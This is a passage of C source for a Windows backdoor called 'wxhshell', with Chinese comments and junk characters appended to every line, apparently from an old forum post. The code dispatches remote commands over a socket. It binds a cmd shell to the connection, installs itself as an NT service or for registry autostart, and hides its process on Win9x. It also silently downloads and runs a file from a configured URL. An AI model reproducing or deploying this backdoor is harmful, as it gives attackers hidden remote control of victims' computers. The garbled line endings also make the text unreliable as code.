    switch(cmd[0]) { 's!-80sd  
  ,kp\(X[J  
  // 帮助 /_-;zL  
  case '?': { W"xP(7X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ` C+HE$B  
    break; PS" .R_"  
  } )g@S%Yu  
  // 安装 ;#) mLsl  
  case 'i': { +1Ph<zq"  
    if(Install()) PaCzr5!~f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m:O(+Fl  
    else FM5e+$>@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '7B"(dA&C  
    break; iG ,t_??  
    } oXt,e   
  // 卸载 @TA9V@?)  
  case 'r': { ,Ci/xnI  
    if(Uninstall()) + f;CyMEp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TE-;X,gDV_  
    else d( *fy}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GfyX'(ge  
    break; n1:v HBM@\  
    } i!dv0|_  
  // 显示 wxhshell 所在路径 Q7o5R{.oJ  
  case 'p': { rp :wQ H7  
    char svExeFile[MAX_PATH]; AzpV4(:an.  
    strcpy(svExeFile,"\n\r"); Y"e EkT\  
      strcat(svExeFile,ExeFile); dj[apuiF  
        send(wsh,svExeFile,strlen(svExeFile),0); fd8#Ng"1  
    break; 4R) |->"  
    } 4`2$_T$ F  
  // 重启 FF Gqa&  
  case 'b': { 9;r? nZT/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g>7Y~_}  
    if(Boot(REBOOT)) 8<)$z?K   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw3NS8 A+  
    else { qG >DTKIU  
    closesocket(wsh); $ A-b vL  
    ExitThread(0); fjDpwb:x)  
    } %W|DJ\l8"  
    break; 2 6:evid  
    } R/<=mZ  
  // 关机 "gNK><  
  case 'd': { =!-5+I#e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Zwf 397  
    if(Boot(SHUTDOWN)) CYB=Uq,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? Ekq6uz\)  
    else { 1 2]fQkp  
    closesocket(wsh); iTNqWU-o  
    ExitThread(0); IB7tAG8  
    } VVrwOo CN  
    break; hD 46@  
    } .:;fAJPf  
  // 获取shell gf$HuCh|  
  case 's': { J35l7HH  
    CmdShell(wsh); ~Y/z=^  
    closesocket(wsh); 2%]hYr;  
    ExitThread(0); 9Nl* 4  
    break; 8g5V,3_6  
  } d7bjbJwu  
  // 退出 l6B.6 '4)w  
  case 'x': { CT5Y/E? }  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y=o=1(  
    CloseIt(wsh); )Ul&1UYA  
    break; PF ;YE6  
    } ?\yB)Nd y  
  // 离开 $ WFhBak8  
  case 'q': { /;UTC)cJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1e$[p[  
    closesocket(wsh); KHJ=$5r)  
    WSACleanup(); S.fXHtSx  
    exit(1); 6bL"LM`s  
    break; &y3B)#dIJ  
        } -g2{68 1`r  
  } dx359  
  } aVK()1v]  
gLCz]D.'  
  // 提示信息 *Yp qq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x\;GoGsez  
} `Wwh`]#"~d  
  } O&P>x#w  
;^.9#B,<  
  return; lIy/;hIc  
} &kq7gCd  
|7S:l9;  
// shell模块句柄 0N1' $K$\  
int CmdShell(SOCKET sock) )9pBu B  
{ 5fxbA2\  
STARTUPINFO si; ?xHtn2(q  
ZeroMemory(&si,sizeof(si)); LsotgQ8   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k*9%8yi_ U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %~(~W>^A  
PROCESS_INFORMATION ProcessInfo; 9l=Fv6  
char cmdline[]="cmd"; 0XQ-   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^k9rDn/AW  
  return 0; { ;' :h  
} iDvpXn  
^AH-+#5  
// 自身启动模式 R^?PAHE 7  
int StartFromService(void) 9e76 pP(  
{ ?ZM^%]/+  
typedef struct Lj-{t% }  
{ Ty iU1,oO  
  DWORD ExitStatus; _PdAN= C3  
  DWORD PebBaseAddress; gNi}EP5>  
  DWORD AffinityMask; 0 wYiu  
  DWORD BasePriority; 1o)=GV1  
  ULONG UniqueProcessId; z+2u-jG  
  ULONG InheritedFromUniqueProcessId; [@s=J)H  
}   PROCESS_BASIC_INFORMATION; J4&XPr9  
-q|*M:R  
PROCNTQSIP NtQueryInformationProcess; }W)Mwu'W  
7@\GU]. 2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *@=fq|6l 2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zZw@c?  
Hm<M@M$aG  
  HANDLE             hProcess; 7j{Te)"  
  PROCESS_BASIC_INFORMATION pbi; rQuOt  
5]Z]j[8Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); } pSt@3o,  
  if(NULL == hInst ) return 0; \Z8Y(]6*  
+&zb^C`J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *%]+sU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E{?L= ^cU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ge@reGfsB1  
1_XO3P\  
  if (!NtQueryInformationProcess) return 0; }$&);7(w  
|' !7F9GP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fa/P%9db  
  if(!hProcess) return 0; W=(MsuirO  
v^57j:sD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L)j]~^P$-  
23,%=U  
  CloseHandle(hProcess); 0fZ:")&4,  
x*k65WO\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z;``g"dSw  
if(hProcess==NULL) return 0; /,-h%gj  
f45;fT>   
HMODULE hMod; v_[)FN"]Y.  
char procName[255]; 'bbV<? ):  
unsigned long cbNeeded; #xD&z^o  
[+Yl;3 &]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8-W"4)@b  
?T$*5d  
  CloseHandle(hProcess); ~k"eE V p  
wGZ>iLe:  
if(strstr(procName,"services")) return 1; // 以服务启动 &T5f H!?4  
?nj"Ptzs  
  return 0; // 注册表启动 %D`^  
} wi![0IE )  
A?^A*e  
// 主模块 ?*(r1grHl  
int StartWxhshell(LPSTR lpCmdLine) "Yc^Nc  
{ vCYSm  0  
  SOCKET wsl; Xq} n^W  
BOOL val=TRUE; nEeQL~:  
  int port=0;  3J'Bm"  
  struct sockaddr_in door; IF,i^,  
?HEo9/ *7  
  if(wscfg.ws_autoins) Install(); 8ItCfbqa6  
QE`:jxyad  
port=atoi(lpCmdLine); tU-#pB>H  
{66Q" H"I  
if(port<=0) port=wscfg.ws_port; 6:SK{RSURC  
Q6e'0EIKC  
  WSADATA data; {7j6$.7J$&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q 37V!  
"W3n BaG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vfk7J5y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rH [+/&w5  
  door.sin_family = AF_INET; UpE1PLZlB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u(TgWp5WF  
  door.sin_port = htons(port); T7WZ(y 3C  
+S:u[x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }+QhW]nO{F  
closesocket(wsl); Q8M:7#ySji  
return 1; rTm>8et  
} troy^H  
` maN5)  
  if(listen(wsl,2) == INVALID_SOCKET) { LRqw\fKk[  
closesocket(wsl); xC=3|,U  
return 1; r7wx?{~ 28  
} `gBXeG2fn  
  Wxhshell(wsl); OLd$oxKR  
  WSACleanup(); m;$F@JJ  
Hz;jJ&S  
return 0; KNUMz4  
l{D,O?`Av  
} /4f 5s#hR  
y:^>(l#;  
// 以NT服务方式启动 ,~ia$vI}R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GFy0R"&d[  
{ 56j/w[&8  
DWORD   status = 0; u\Erta`  
  DWORD   specificError = 0xfffffff; ,*O{jc`(  
nfCd*f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $.x?in|_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 66Cj=n5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I,`D&   
  serviceStatus.dwWin32ExitCode     = 0; eA~_)-Z-  
  serviceStatus.dwServiceSpecificExitCode = 0; sQ3ayB`  
  serviceStatus.dwCheckPoint       = 0; F%ylR^H>  
  serviceStatus.dwWaitHint       = 0; qkR,<"C|`  
VES4x%r=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 41+E UMc  
  if (hServiceStatusHandle==0) return; "YdDaj</  
| xErA  
status = GetLastError(); j8ohzX[Y  
  if (status!=NO_ERROR) Zia|`}peW  
{ Nf?, _Rl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *M\i4FO8  
    serviceStatus.dwCheckPoint       = 0; LF3GVu,  
    serviceStatus.dwWaitHint       = 0; -T>wi J  
    serviceStatus.dwWin32ExitCode     = status; hvv>UC/  
    serviceStatus.dwServiceSpecificExitCode = specificError; lLwQridFXh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vl QwVe  
    return; @gVyLefS6g  
  } #t9=qR~"  
DoPF/m}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  6O|\4c;  
  serviceStatus.dwCheckPoint       = 0; }s)&/~6  
  serviceStatus.dwWaitHint       = 0; FoelOq6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NtP.)  
} C,e$g  
N=?kEX O  
// 处理NT服务事件,比如:启动、停止 'frL/[S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JI#Enh!Lv  
{ c%,6L<[  
switch(fdwControl) HBf8!\0|/  
{ kjKpzdbD  
case SERVICE_CONTROL_STOP: OTjryJ^  
  serviceStatus.dwWin32ExitCode = 0; YPJx/@Z`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CR8r|+(8  
  serviceStatus.dwCheckPoint   = 0; GyXs{*  
  serviceStatus.dwWaitHint     = 0; FSZoT!  
  { c+K=pp@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nJ0eZBgB]  
  } $(mdz)Cfy  
  return; ,8-_=*  
case SERVICE_CONTROL_PAUSE: GbrPtu2{@V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zxmI/]3+/  
  break; )LMuxj  
case SERVICE_CONTROL_CONTINUE: i I Nu`>I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'L+BkE6+%  
  break; ALieUf  
case SERVICE_CONTROL_INTERROGATE: YKxA2`3v%  
  break; #1hz=~YO  
}; E#F9<=mA)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Rcd}rO  
} G?1V~6  
b0x0CMf  
// 标准应用程序主函数 6)2M/(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,( kXF:  
{ m~IWazj;A  
>oaEG5%d  
// 获取操作系统版本 5i-;bLm  
OsIsNt=GetOsVer(); _*B~ESC0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lj* =*V  
 p:>?  
  // 从命令行安装 Y52xrIvl\  
  if(strpbrk(lpCmdLine,"iI")) Install(); F,2#;t4  
EKJ4_kkjM  
  // 下载执行文件 dX}dO)%m{  
if(wscfg.ws_downexe) { <>/MKMq!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6e-h;ylS  
  WinExec(wscfg.ws_filenam,SW_HIDE); fU7:3"|s8  
} QgM_SY|Rj  
'Mhdw}  
if(!OsIsNt) { ={vtfgxl  
// 如果时win9x,隐藏进程并且设置为注册表启动 u,9U0ua@;  
HideProc(); /;m!>{({)  
StartWxhshell(lpCmdLine); . pEeR  
} d?X6x  
else @[Qg}'i  
  if(StartFromService()) $ttr_4=  
  // 以服务方式启动 :=7;P)  
  StartServiceCtrlDispatcher(DispatchTable); /1 %0A  
else CKw)J}z  
  // 普通方式启动 _rh.z_a7w  
  StartWxhshell(lpCmdLine); ##ea-"m8  
BFu9KS+@)  
return 0; Z`KXXlJ^i  
}
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只看该作者 1 发表于: 2006-10-10
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